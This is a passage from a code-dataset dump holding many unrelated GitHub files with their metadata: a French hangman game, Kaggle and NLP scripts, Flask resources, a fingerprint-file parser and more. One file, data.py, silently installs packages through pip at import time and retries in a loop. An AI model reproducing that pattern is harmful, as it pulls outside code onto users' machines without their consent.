permet de créer le mot que le joueur doit trouver avec des tirets __\n a=\"\"\n for i ,l in enumerate(mot_a_devine , start=1):\n if i==0 or l in lettres_trouvées:\n a+=l\n else:\n a+=\"_\"\n v.set(\"mot à trouver:\"+a)\n print(a)\n \ndef gagne(mot_a_devine,lettres_trouvées):\n #cette fonction permet de dire à l'utilisateur si il a gagné ou non\n i=0\n for j in mot_a_devine:\n if j in lettres_trouvées:\n i=i+1\n if i==len(mot_a_devine)-1:\n return(True)\n \ndef affichage_lettre_fausses(lettres_fausses):\n #cette fonction peremt d'afficher les lettres fausses qui ont était proposé par l'utilisateur\n lettre_faux=\"\"\n for i in lettres_fausses:\n lettre_faux+=i\n lettre_faux+=\" \"\n List.set(\"Lettres fausses: \" +lettre_faux)\n return lettre_faux\n\ndef afficher_le_pendu():\n #permet d'afficher les images en fonction du nombre d'erreur que fait le joueur\n global compteur\n if compteur==1:\n Canevas.create_image(150,150,image=image2)\n if compteur==2:\n Canevas.create_image(150,150,image=image3)\n if compteur==3:\n Canevas.create_image(150,150,image=image4)\n if compteur==4:\n Canevas.create_image(150,150,image=image5)\n if compteur==5:\n Canevas.create_image(150,150,image=image6)\n if compteur==6:\n Canevas.create_image(150,150,image=image7)\n if compteur==7:\n Canevas.create_image(150,150,image=image8)\n \n \ndef verification():\n # cette fonction permet de vérifier si la lettre que propose le joueur est bonne ou non\n global lettres_trouvées , lettres_fausses , mot_a_devine , compteur\n l=lettre.get()\n lettre.set('')\n if l in lettres_trouvées or l in lettres_fausses:\n info.set(\"Dommage votre mémoire vous joue des tours, vous avez déjà donné cette lettre\")\n elif l in mot_a_devine:\n lettres_trouvées.append(l)\n affichage_mot(mot_a_devine,lettres_trouvées)\n info.set(\"POursuivez vos efforts vous allez y arriver\")\n else:\n compteur+=1\n lettres_fausses.append(l)\n afficher_le_pendu()\n compt1.set(\"Il vous reste: \" + str(8-compteur)+ \"chances\")\n info.set(\"loupez essayez une autre lettre\")\n affichage_lettre_fausses(lettres_fausses)\n \n \ndef pendu():\n global mot_a_devine , lettres_trouvées , lettres_fausses , compteur\n affichage_mot(mot_a_devine,lettres_trouvées)\n \n if compteur <8:\n verification()\n if gagne (mot_a_devine,lettres_trouvées)==True:\n maxscore.append(8-compteur)\n info.set(\"Vous avez gagné! Vouz avez obtenu un score de :\"+ str(8-compteur)+\"votre meilleur score est \"+str(max(maxscore)))\n if compteur==8 and gagne(mot_a_devine,lettres_trouvées)!=True:\n info.set(\"Vous avez perdu\")\n \ndef rejouer():\n #permet à l'utilisateur de rejouer après la partie\n global mot_a_devine, lettres_trouvées , lettres_fausses , compteur\n mot_a_devine=mots_aléatoires()\n mot_a_devine=mots_aléatoires()\n lettres_trouvées=[mot_a_devine[0]]\n lettres_fausses=[]\n compteur=0\n pendu()\n return(mot_a_devine, lettres_trouvées , lettres_fausses , compteur)\n \n \n\nmot_a_devine=mots_aléatoires()\nlettres_trouvées=[mot_a_devine[0]]\nlettres_fausses=[]\ncompteur=0\n\nmw=Tk()\nmw.title('Jeu du pendu')\n\nimage1=PhotoImage(master=mw, file='bonhomme8.gif')\nimage2=PhotoImage(master=mw, file='bonhomme7.gif')\nimage3=PhotoImage(master=mw, file='bonhomme6.gif')\nimage4=PhotoImage(master=mw, file='bonhomme5.gif')\nimage5=PhotoImage(master=mw, file='bonhomme4.gif')\nimage6=PhotoImage(master=mw, file='bonhomme3.gif')\nimage7=PhotoImage(master=mw, file='bonhomme2.gif')\nimage8=PhotoImage(master=mw, file='bonhomme1.gif')\n\nlargeur=300\nhauteur=300\nCanevas=Canvas(mw , width=largeur, height=hauteur)\nCanevas.create_image(150,150, image=image1)\n\nlettre=StringVar()\nbouton_entry=Entry(mw , textvariable=lettre)\n\n#création du bouton \"Proposer\" pour proposer une lettre\nbouton_proposer=Button(mw, text='Proposer', command=pendu)\n\n#création du boutton \"Rejouer\" pour pouvoir rejouer\nbouton_rejouer=Button(mw , text='Rejouer', command=rejouer)\n\n#création du bouton\"Quitter\" pour quitter le jeu\nbouton_quitter=Button(mw , text='Quitter', command=mw.destroy)\n\n#affiche le mot à trouver avec les tirets\nv=StringVar()\nlabel_mot_rech=Label(mw, textvariable=v )\n\n#affiche la liste des lettres proposées qui sont fausses\nList=StringVar()\nlabel_lettres_fausses=Label(mw , textvariable=List)\n\n#affiche le nombre de coups restants \ncompt1=StringVar()\ncompt1.set(\"Nombre de coups restants :\" +str(8-compteur))\nlabel_coups=Label(mw , textvariable=compt1)\n\ninfo=StringVar()\nconsole=Label(mw , textvariable=info)\n\nlabel_coups.grid(row=1)\nlabel_mot_rech.grid(row=2)\nbouton_entry.grid(row=3)\nbouton_proposer.grid(row=4)\nbouton_rejouer.grid(row=5)\nbouton_quitter.grid(row=6)\nlabel_lettres_fausses.grid(row=7)\nCanevas.grid(row=1 , column=2 , rowspan=6)\nconsole.grid(row=7, column=2)\n\n\nmw.mainloop()\n\n ","repo_name":"julienfal/pendu","sub_path":"pendu/pendufinal.py","file_name":"pendufinal.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2507261625","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport lightgbm as lgb\nimport gc\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nfrom subprocess import check_output\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n# Any results you write to the current directory are saved as output.\n\n# Read in our input data\ndf_train = pd.read_csv('../input/train.csv')\ndf_test = pd.read_csv('../input/test.csv')\n\n\ny_train = df_train['target'].values\nid_train = df_train['id'].values\nid_test = df_test['id'].values\n\n# We drop these variables as we don't want to train on them\n# The other 57 columns are all numerical and can be trained on without preprocessing\nx_train = df_train.drop(['target', 'id'], axis=1)\nx_test = df_test.drop(['id'], axis=1)\n\n\n\n\nprint(\"Train\")\nparams = {\n 'bagging_fraction': 0.8,\n 'bagging_freq': 5,\n 'learning_rate': 0.03,\n 'metric': 'binary_logloss',\n 'metric': 'auc',\n 'min_data_in_bin': 3,\n 'max_depth': 10,\n 'objective': 'binary',\n 'verbose': -1,\n 'num_leaves': 108,\n 'bagging_seed': 1,\n 'feature_fraction': 0.9,\n 'feature_fraction_seed': 1,\n 'max_bin': 223,\n 'num_rounds': 1000,\n }\nclf = lgb.LGBMClassifier(**params, n_estimators = 233)\nclf.fit(x_train, y_train)\n\n\nprint(\"Predict\")\ny_pred = clf.predict_proba(x_test)[:,1]\n\n\n\n# Create a submission file\nsub = pd.DataFrame()\nsub['id'] = id_test\nsub['target'] = y_pred\nsub.to_csv('submit.csv', index=False, float_format='%.2f') ","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/porto-seguro-safe-driver-prediction/Vadim Borisov/start-with-lightgbm-0-27.py","file_name":"start-with-lightgbm-0-27.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"9266777078","text":"from sys import platform\r\nimport unicodedata\r\nimport time\r\nimport pip\r\nimport os\r\n\r\n\r\ndef install(package):\r\n if hasattr(pip, 'main'):\r\n pip.main(['install', package])\r\n else:\r\n pip._internal.main(['install', package])\r\n\r\nwhile True:\r\n try:\r\n modules = ['html', 'requests']\r\n for module in modules:\r\n install(module)\r\n break\r\n except:\r\n print('Bad Internet Connection')\r\n time.sleep(5)\r\n\r\nimport requests as rq\r\nimport bs4\r\n\r\nparameters ={\"amount\": 10,\"category\": 18,\"type\": \"boolean\"}\r\n\r\nresponse = rq.get(\"https://opentdb.com/api.php\", params=parameters)\r\nresponse.raise_for_status()\r\ndata = response.json()\r\nquestion_data = data[\"results\"]\r\n\r\n","repo_name":"sambhu7d/QUIZ-APP","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2816060177","text":"N,M=map(int,input().split())\nGaro=[]\nwrong=[]\nfor _ in range(N):\n Garo.append(input())\nfor i in range(N-7):\n for j in range(M-7):\n wrongW=0\n wrongB=0\n for a in range(i,i+8):\n for b in range(j,j+8):\n if (a+b)%2==0:\n if Garo[a][b]!=\"W\":\n wrongW+=1\n if Garo[a][b]!=\"B\":\n wrongB+=1\n else:\n if Garo[a][b]!=\"B\":\n wrongW+=1\n if Garo[a][b]!=\"W\":\n wrongB+=1\n wrong.append(min(wrongW,wrongB))\nprint(min(wrong))\n","repo_name":"jerry4003/BaekJoon","sub_path":"백준/1018.py","file_name":"1018.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34516203714","text":"from datasets import load_dataset,Dataset,concatenate_datasets,DatasetDict\n\nSEED = 42\n\nclass CrossLMDataset:\n def __init__(self,dataset_idt=\"code_x_glue_cc_code_to_code_trans\",lang_1_key=\"java\",lang_2_key=\"cs\",bs=8):\n self.train_dataset,self.valid_dataset,self.test_dataset = load_dataset(dataset_idt,split=[\"train\",\"validation\",\"test\"],script_version=\"master\")\n self.lang_1,self.lang_2 = lang_1_key,lang_2_key\n self.bs = bs #batch_size\n def post_process(self,dataset):\n def meta_process(data):\n \"\"\"additional datapoint level post porcessing\"\"\"\n return data\n lang_1_set = Dataset.from_dict({\"code\":dataset[self.lang_1],\"lang\":[\"\"]*len(dataset[self.lang_1])})\n lang_2_set = Dataset.from_dict({\"code\":dataset[self.lang_2],\"lang\":[\"\"]*len(dataset[self.lang_2])})\n lang_1_set,lang_2_set = lang_1_set.map(meta_process,batch_size=self.bs),lang_2_set.map(meta_process,batch_size=self.bs)\n mlm_dataset = concatenate_datasets([lang_1_set,lang_2_set]).shuffle(seed=SEED)\n return mlm_dataset\n def __call__(self,split=\"train\",preproc_for_crosslm=True,combine=False):\n \"\"\"\n Main function to get the CrossLM Dataset as in TransCoder(https://arxiv.org/pdf/2006.03511.pdf).\n Each batch will be made of one language and batches are shuffled.\n\n args: \n split (str) - specify the split you want to use.\n preproc_for_crosslm (boolean)- if True, sets preprocesses the model for cross-lingual language modelling \n \"\"\"\n if split == \"train\":\n dataset = self.train_dataset\n elif split == \"validation\":\n dataset = self.valid_dataset\n elif split == \"test\":\n dataset = self.test_dataset\n if preproc_for_crosslm:\n if not combine:\n dataset = self.post_process(dataset)\n else:\n trainset,validset,testset = self.post_process(self.train_dataset),self.post_process(self.valid_dataset),self.post_process(self.test_dataset)\n return DatasetDict({\"train\": trainset,\n \"validation\":validset,\n \"test\":testset})\n return dataset\nif __name__ == \"__main__\":\n CrossLM = CrossLMDataset()\n print(CrossLM(\"test\",combine=True))\n","repo_name":"reshinthadithyan/hf_jax_transcoder_mini","sub_path":"utils/crosslm_data_utils.py","file_name":"crosslm_data_utils.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"20090102304","text":"# -*- coding: UTF-8 -*-\nimport numpy as np\nimport collections\nimport random\nfrom transform_data import TransformData\n\n\nclass TransformDataW2V(TransformData):\n def __init__(self, batch_size, num_skips, skip_window):\n TransformData.__init__(self, 'corpus/dict.utf8', ['pku'])\n self.batch_size = batch_size\n self.num_skips = num_skips\n self.skip_window = skip_window\n self.data_index = 0\n self.span = 2 * self.skip_window + 1\n self.words = self.generate_words('sogou')\n self.word_count = len(self.words)\n\n def generate_words(self, name):\n if name == 'pku':\n return [item for sublist in self.words_index for item in sublist]\n elif name == 'sogou':\n with open('corpus/sogou.txt', 'r', encoding='utf8') as file:\n return self.sentence2index(file.read())\n\n def sentence2index(self, sentence):\n index = []\n for ch in sentence:\n if ch in self.dictionary:\n index.append(self.dictionary[ch])\n else:\n index.append(0)\n return index\n\n def generate_batch(self):\n batch = np.ndarray(shape=(self.batch_size), dtype=np.int32)\n labels = np.ndarray(shape=(self.batch_size, 1), dtype=np.int32)\n span = 2 * self.skip_window + 1 # [ skip_window target skip_window ]\n buffer = collections.deque(maxlen=span)\n for _ in range(span):\n buffer.append(self.words[self.data_index])\n self.data_index = (self.data_index + 1) % self.word_count\n for i in range(self.batch_size // self.num_skips):\n target = self.skip_window # target label at the center of the buffer\n targets_to_avoid = [self.skip_window]\n for j in range(self.num_skips):\n while target in targets_to_avoid:\n target = random.randint(0, span - 1)\n targets_to_avoid.append(target)\n batch[i * self.num_skips + j] = buffer[self.skip_window]\n labels[i * self.num_skips + j, 0] = buffer[target]\n buffer.append(self.words[self.data_index])\n self.data_index = (self.data_index + 1) % self.word_count\n # Backtrack a little bit to avoid skipping words in the end of a batch\n self.data_index = (self.data_index + self.word_count - span) % self.word_count\n return batch, labels\n","repo_name":"supercoderhawk/DNN_CWS","sub_path":"transform_data_w2v.py","file_name":"transform_data_w2v.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"54"} +{"seq_id":"12747744548","text":"from flask import request, jsonify\nfrom flask_restful import Resource\nfrom core import get_database, get_database_session\nfrom core.models import Position, Organization, Enterprise, WorkGroup, Executor, User\n\n\nclass GetPositions(Resource):\n def get(self):\n positions = get_database_session().query(Position).all()\n return jsonify([position.to_basic_dictionary() for position in positions])\n\n\nclass GetOrganizations(Resource):\n def get(self):\n organizations = get_database_session().query(Organization).all()\n return jsonify([organization.to_basic_dictionary() for organization in organizations])\n\n\nclass GetEnterprises(Resource):\n def get(self):\n enterprises = get_database_session().query(Enterprise).all()\n return jsonify([enterprise.to_basic_dictionary() for enterprise in enterprises])\n\nclass GetWorkGroups(Resource):\n def get(self):\n work_groups = get_database_session().query(WorkGroup).all()\n return jsonify([work_group.to_basic_dictionary() for work_group in work_groups])\n\nclass GetExecutors(Resource):\n def post(self):\n try:\n json_data = request.get_json()\n id_chief = json_data['id']\n work_group = get_database_session().query(WorkGroup).filter(WorkGroup.id_chief == id_chief).first()\n work_group_id = work_group.id\n workers_list = get_database_session().query(Executor).filter(Executor.id_work_group == work_group_id).all()\n return jsonify([worker.to_basic_dictionary() for worker in workers_list])\n except:\n workers_list = get_database_session().query(Executor).all()\n return jsonify([worker.to_basic_dictionary() for worker in workers_list])\n\nclass GetUsers(Resource):\n def get(self):\n users_list = workers_list = get_database_session().query(User).all()\n return jsonify([user.to_basic_dictionary() for user in users_list])","repo_name":"PolinaVdovina/vkrBackend","sub_path":"Python/api/core/Lists/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24119270321","text":"import sys\n\nn = int(sys.stdin.readline().rstrip())\nres = 1\n\nif n != 0:\n for i in range(1, n+1):\n res *= i\n\nres = list(str(res))\nres = res[::-1]\nzero = 0\nend = False\n\nfor i in res:\n if i == '0':\n zero += 1\n\n else:\n break\n\nprint(zero) ","repo_name":"AnWoosang/algo_study","sub_path":"baekjoon/300/1676.py","file_name":"1676.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"39612637363","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport base64\nimport os\nimport xmltodict\nimport zipfile\n\nfrom _collections import defaultdict\nfrom cStringIO import StringIO\n\nfrom MDmisc.elist import ifany\nfrom MDmisc.ewarning import nowarnings\n\nfrom ...core.functions import bindump\nfrom ...core.exceptions import notImplemented\nfrom ...fingerprint import NISTf\nfrom ...fingerprint.functions import AnnotationList, Minutia, Delta, Core\n\n\nclass NIST_Morpho( NISTf ):\n \"\"\"\n Overload of the :func:`NIST.fingerprint.NISTf` class to implement\n functions specific to Morpho NIST files.\n \"\"\"\n ############################################################################\n # \n # Get specific information\n # \n ############################################################################\n \n def get_caseName( self, idc = -1 ):\n \"\"\"\n Return the case name (field 2.007).\n \n :return: Case name.\n :rtype: str\n \"\"\"\n return self.get_field( \"2.007\", idc )\n \n def set_caseName( self, name, idc = -1 ):\n \"\"\"\n Set the case name field (field 2.007).\n \n :param name: Name of the case to set in the field 2.007\n \"\"\"\n self.set_field( \"2.007\", name, idc )\n \n ############################################################################\n # \n # MorphiBIS specific functions\n # \n ############################################################################\n \n def get_cfv( self, idc = -1 ):\n \"\"\"\n Return the CFV files used for by the matcher.\n \n :param idc: IDC value.\n :type idc: int\n \n :return: Binary CFV file.\n :rtype: Bitstring\n \"\"\"\n return self.get_jar( idc )[ 'features' ]\n \n def export_cfv( self, file, idc = -1 ):\n \"\"\"\n Export the CFV content to a file on disk.\n \n :param file: File to export to.\n :type file: string\n \n :param idc: IDC value.\n :type idc: int\n \"\"\"\n with open( file, \"wb+\" ) as fp:\n fp.write( self.get_cfv( idc ) )\n \n def get_minutiae( self, format = None, idc = -1, **options ):\n \"\"\"\n Overload of the NISTf.get_minutiae() function to extract the\n information from the JAR stored in the 9.184 field. The minutiae\n coordinates are converted in the correct format (mm in this case),\n and stored in an AnnoationList object. All functions based on this\n function should work normaly.\n \n .. see:: :func:`NIST.fingerprint.NISTf.get_minutiae()`\n \"\"\"\n if ifany( options.keys(), [ \"field\", \"asfield\" ] ) or self.get_field( \"9.184\" ) == None:\n return super( NIST_Morpho, self ).get_minutiae( format = format, idc = idc )\n \n else:\n if isinstance( format, int ):\n idc, format = format, self.minutiaeformat\n \n return self.process_imageenh( idc )[ 'minutiae' ].get( format )\n \n def get_delta( self, idc = -1 ):\n try:\n return self.process_imageenh( idc )[ 'deltas' ]\n except:\n return None\n \n def get_cores( self, idc = -1 ):\n ret = super( NIST_Morpho, self ).get_cores( idc = idc )\n if ret != None:\n return ret\n \n ret = self.process_imageenh( idc )\n if ret != None:\n return ret[ 'cores' ]\n \n return None\n \n def process_imageenh( self, idc = -1 ):\n \"\"\"\n Function to process the imgageenh.2 content stored in the jar field.\n This function replays the actions done by the user. The result is\n the final annotation as seen in the MBIS interface.\n \n :param idc: IDC value.\n :type idc: int\n \n :return: Dictionnary of the processed data.\n :rtype: python dict\n \"\"\"\n \n try:\n data = self.get_jar( idc )[ 'imageenh.2' ]\n data = xmltodict.parse( data )\n ops = data[ 'enhancementHistory' ][ 'enhancements' ][ 'enhancementOperation' ]\n \n except TypeError:\n return None\n \n else:\n if not isinstance( ops, list ):\n ops = [ ops ]\n \n with nowarnings( UnicodeWarning ):\n minutiae_ops = sorted( \n ops,\n key = lambda k: k.items()[ 0 ][ 1 ][ 'timestamp' ],\n reverse = False\n )\n \n corr = {\n 'autoEncode': ( 'newMinutiaSet', ),\n 'addMinutia': ( 'addedMinutia', ),\n 'moveMinutia': ( 'movedFromMinutia', 'movedToMinutia', ),\n 'rotateMinutia': ( 'rotatedFromMinutia', 'rotatedToMinutia', ),\n 'deleteMinutia': ( 'deletedMinutia', ),\n \n 'addDelta': ( 'addedDelta', ),\n 'moveDelta': ( 'movedFromDelta', 'movedToDelta', ),\n 'rotateDelta': ( 'rotatedFromDelta', 'rotatedToDelta' ),\n 'deleteDelta': ( 'deletedDelta', ),\n \n 'addCore': ( 'addedCore', ),\n 'moveCore': ( 'movedFromCore', 'movedToCore' ),\n 'rotateCore': ( 'rotatedFromCore', 'rotatedToCore' ),\n 'deleteCore': ( 'deletedCore', ),\n \n 'deleteAllFeatures': ( 'deletedMinutiae', 'deletedCores', 'deletedDeltas' ),\n }\n \n minutiae_list = AnnotationList()\n autominutiae_list = AnnotationList()\n deltas_list = AnnotationList()\n cores_list = AnnotationList()\n \n def MorphoXML2Minutia( data ):\n x = int( data[ '@x' ] )\n y = int( data[ '@y' ] )\n t = int( data[ '@angle' ] )\n if int( data[ '@minutiaType' ] ) == 1:\n d = 'A'\n elif int( data[ '@minutiaType' ] ) == 2:\n d = 'B'\n else:\n d = 'D'\n \n q = int( data[ '@confidence' ] )\n \n return Minutia( \n [ x, y, t, d, q ],\n format = \"xytdq\"\n )\n \n def MorphoXML2Delta( data ):\n return Delta( \n [ int( data[ k ] ) for k in [ '@x', '@y', '@angle1', '@angle2', '@angle3' ] ],\n format = \"xyabc\"\n )\n \n def MorphoXML2Core( data ):\n return Core( \n [ int( data[ k ] ) for k in [ '@x', '@y', '@angle', '@confidence' ] ],\n format = \"xytq\"\n )\n \n def actionProcess( action, minutiae_list, autominutiae_list, deltas_list, cores_list ):\n # Minutiae processing\n if action == \"newMinutiaSet\":\n for key, v in value[ action ].iteritems():\n for vv in v:\n m = MorphoXML2Minutia( vv )\n m.source = \"auto\"\n if m not in minutiae_list:\n minutiae_list.append( m )\n if m not in autominutiae_list:\n autominutiae_list.append( m )\n \n elif action in [ \"addedMinutia\", \"movedToMinutia\", \"rotatedToMinutia\" ]:\n m = MorphoXML2Minutia( value[ action ] )\n m.source = \"expert\"\n if m not in minutiae_list:\n minutiae_list.append( m )\n \n elif action in [ \"deletedMinutia\", \"movedFromMinutia\", \"rotatedFromMinutia\" ]:\n m = MorphoXML2Minutia( value[ action ] )\n minutiae_list.remove( m )\n \n # Delta processing\n elif action in [ \"addedDelta\", \"movedToDelta\", \"rotatedToDelta\" ]:\n m = MorphoXML2Delta( value[ action ] )\n m.source = \"expert\"\n if m not in deltas_list:\n deltas_list.append( m )\n \n elif action in [ \"deletedDelta\", \"movedFromDelta\", \"rotatedFromDelta\" ]:\n m = MorphoXML2Delta( value[ action ] )\n deltas_list.remove( m )\n \n # Core processing\n elif action in [ \"addedCore\", \"movedToCore\", \"rotatedToCore\" ]:\n m = MorphoXML2Core( value[ action ] )\n m.source = \"expert\"\n if m not in cores_list:\n cores_list.append( m )\n \n elif action in [ \"deletedCore\", \"movedFromCore\", \"rotatedFromCore\" ]:\n m = MorphoXML2Core( value[ action ] )\n cores_list.remove( m )\n \n elif action == \"deletedMinutiae\":\n if value[ action ] != None:\n for m in value[ action ][ 'minutia' ]:\n m = MorphoXML2Minutia( m )\n minutiae_list.remove( m )\n \n elif action == \"deletedCores\":\n if value[ action ] != None:\n m = value[ action ][ 'core' ]\n m = MorphoXML2Core( m )\n cores_list.remove( m )\n \n elif action == \"deletedDeltas\":\n if value[ action ] != None:\n if isinstance( value[ action ][ 'delta' ], list ):\n for m in value[ action ][ 'delta' ]:\n m = MorphoXML2Delta( m )\n deltas_list.remove( m )\n \n else:\n m = MorphoXML2Delta( value[ action ][ 'delta' ] )\n deltas_list.remove( m )\n \n # Raise exception if not implemented\n else:\n raise notImplemented( action + \" not implemeted\" )\n \n return minutiae_list, autominutiae_list, deltas_list, cores_list \n \n for d in minutiae_ops:\n for op, value in d.items():\n for action in corr[ op ]:\n minutiae_list, autominutiae_list, deltas_list, cores_list = actionProcess( action, minutiae_list, autominutiae_list, deltas_list, cores_list )\n \n res = self.get_resolution( idc )\n height = self.get_height( idc )\n \n minutiae_return_list = AnnotationList()\n for m in minutiae_list:\n m2 = Minutia( \n [\n m.x * 25.4 / res,\n ( height - m.y ) * 25.4 / res,\n ( m.t + 180 ) % 360,\n m.d,\n m.q\n ],\n format = \"xytdq\"\n )\n m2.source = m.source\n minutiae_return_list.append( m2 )\n \n autominutiae_return_list = AnnotationList()\n for m in autominutiae_list:\n m2 = Minutia( \n [\n m.x * 25.4 / res,\n ( height - m.y ) * 25.4 / res,\n ( m.t + 180 ) % 360,\n m.d,\n m.q\n ],\n format = \"xytdq\"\n )\n m2.source = m.source\n autominutiae_return_list.append( m2 )\n \n deltas_return_list = AnnotationList()\n for m in deltas_list:\n m2 = Delta( \n [\n m.x * 25.4 / res,\n ( height - m.y ) * 25.4 / res,\n m.a,\n m.b,\n m.c\n ],\n format = \"xyabc\"\n )\n m2.source = m.source\n deltas_return_list.append( m2 )\n \n cores_return_list = AnnotationList()\n for m in cores_list:\n m2 = Core( \n [\n m.x * 25.4 / res,\n ( height - m.y ) * 25.4 / res,\n m.t,\n m.q\n ],\n format = \"xytq\"\n )\n m2.source = m.source\n cores_return_list.append( m2 )\n \n return {\n 'autominutiae': autominutiae_return_list,\n 'minutiae': minutiae_return_list,\n 'deltas': deltas_return_list,\n 'cores': cores_return_list\n }\n \n def get_jar( self, idc = -1 ):\n \"\"\"\n Get the content of all files present in the JAR file stored in the\n field 9.184. The returned dictionnary contains the as follow::\n \n {\n 'file name': 'file content',\n ...\n }\n \n The content of the files are not parsed, but returned as string value.\n \n :param idc: IDC value.\n :type idc: int\n \n :return: Content of all files stored in the JAR file.\n :rtype: dict\n \"\"\"\n idc = self.checkIDC( 9, idc )\n \n data = self.get_field( \"9.184\", idc )\n if data != None:\n data = base64.decodestring( data )\n \n buffer = StringIO()\n buffer.write( data )\n \n ret = defaultdict()\n \n with zipfile.ZipFile( buffer, \"r\" ) as zip:\n for f in zip.namelist():\n name, _ = os.path.splitext( f )\n \n with zip.open( f, \"r\" ) as fp:\n ret[ name ] = fp.read()\n \n return dict( ret )\n \n else:\n return None\n \n ############################################################################\n # \n # User defined fields\n # \n ############################################################################\n \n def is_binary( self, ntype, tagid ):\n \"\"\"\n Add some binary fields to the list of fields to format with\n :func:`NIST.traditional.functions.bindump`.\n \"\"\"\n if ntype == 9 and tagid == 184:\n return True\n \n else:\n return super( NIST_Morpho, self ).is_binary( ntype, tagid )\n","repo_name":"mdedonno1337/NIST","sub_path":"NIST/plugins/Morpho/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15069,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"54"} +{"seq_id":"35191200159","text":"def format_file_size(size):\n KB = 1024\n MB = KB * 1024\n GB = MB * 1024\n\n if size < KB:\n res = '{0:d} bytes'.format(size)\n elif size < MB:\n size = size / KB\n res = '{0:.2f} KB'.format(size)\n elif size < GB:\n size = size / MB\n res = '{0:.2f} MB'.format(size)\n else:\n size = size / GB\n res = '{0:.2f} GB'.format(size)\n\n return res\n\nfor bytes in (10, 1202, 123444, 100200300):\n print(format_file_size(bytes))","repo_name":"dos09/PythonTest","sub_path":"reference_code/reusable_code/string/formatting/size_bytes.py","file_name":"size_bytes.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16661974440","text":"class Geometry:\r\n def area(self, a=None, b=None, c=None):\r\n #3 values: should work like volume of cuboid\r\n if a!=None and b!=None and c!=None:\r\n return a*b*c\r\n\r\n\r\n\r\n#2 values: should work like area of Rectangle\r\n elif a!=None and b!=None and c==None:\r\n return a * b\r\n\r\n\r\n\r\n#1 value: should work like area of circle\r\n elif a!=None and b==None and c==None:\r\n import math\r\n return math.pi * a * a\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n g1 = Geometry()\r\n result = g1.area(5)\r\n print(\"Area of Circle: \", result)\r\n\r\n\r\n\r\n result = g1.area(12, 9)\r\n print(\"Area of Rectangle: \", result)\r\n\r\n\r\n\r\n result = g1.area(12, 9, 5)\r\n print(\"Volume of Cuboid: \", result)\r\n","repo_name":"nandhakumarpk/Python3.9","sub_path":"Polymorphism/Over-Loading/geomatric.py","file_name":"geomatric.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"434207741","text":"from chatbot.config.DatabaseConfig import *\nfrom chatbot.utils.Database import Database\nfrom chatbot.utils.Preprocess import Preprocess\n\np=Preprocess(word2index_dic='../train_tools/dict/chatbot_dict.bin',userdic='../utils/user_dic.tsv')\n\ndb=Database(\n host=DB_HOST,\n user=DB_USER,\n password=DB_PASSWORD,\n db_name=DB_NAME\n)\ndb.connect()\n\nquery=input()\n\nfrom chatbot.models.intent.IntentModel import IntentModel\nintent=IntentModel(model_name='../models/intent/intent_model.h5',proprocess=p)\npredict=intent.predict_class(query)\nintent_name=intent.labels[predict]\n\nfrom chatbot.models.ner.NerModel import NerModel\nner=NerModel(model_name='../models/ner/ner_model.h5',proprocess=p)\npredicts=ner.predict(query)\nner_tags=ner.predict_tags(query)\n\nprint(\"질문 : \",query)\nprint(\"=\"*40)\nprint(\"의도파악 : \",intent_name)\nprint(\"개체명 인식 : \", predicts)\nprint(\"답변 검색에 필요한 NER 태그 : \",ner_tags)\nprint(\"=\"*40)\n\nfrom chatbot.utils.FindAnswer import FindAnswer\n\ntry:\n f=FindAnswer(db)\n answer_text,answer_image=f.search(intent_name, ner_tags)\n answer=f.tag_to_word(predicts,answer_text)\nexcept:\n answer=\"죄송해영 무슨말인지 잘 모름\"\n\nprint(\"답변 : \",answer)\n\ndb.close()\n\n\n\n","repo_name":"hahahatt/chat_python","sub_path":"test/chatbot_test.py","file_name":"chatbot_test.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30508359262","text":"import math\nfrom pathlib import Path\n\nimport jinja_partials\nfrom starlette.templating import Jinja2Templates\n\nfrom civ_vi_webhook.models.api import games\nfrom civ_vi_webhook.models.db import games as db_games\nfrom civ_vi_webhook.services.db import game_service, user_service\n\nBASE_DIR = Path(__file__).resolve().parent\ntemplates = Jinja2Templates(directory=str(Path(BASE_DIR, 'templates')))\njinja_partials.register_starlette_extensions(templates)\n\n\ndef figure_out_base_sixty(number: int) -> (int, int):\n \"\"\"Figure out the next number up if I have more than 59 seconds or minutes.\"\"\"\n return (math.floor(number / 60), number % 60) if number > 59 else (0, number)\n\n\ndef figure_out_days(number: int) -> (int, int):\n \"\"\"Figure out number of 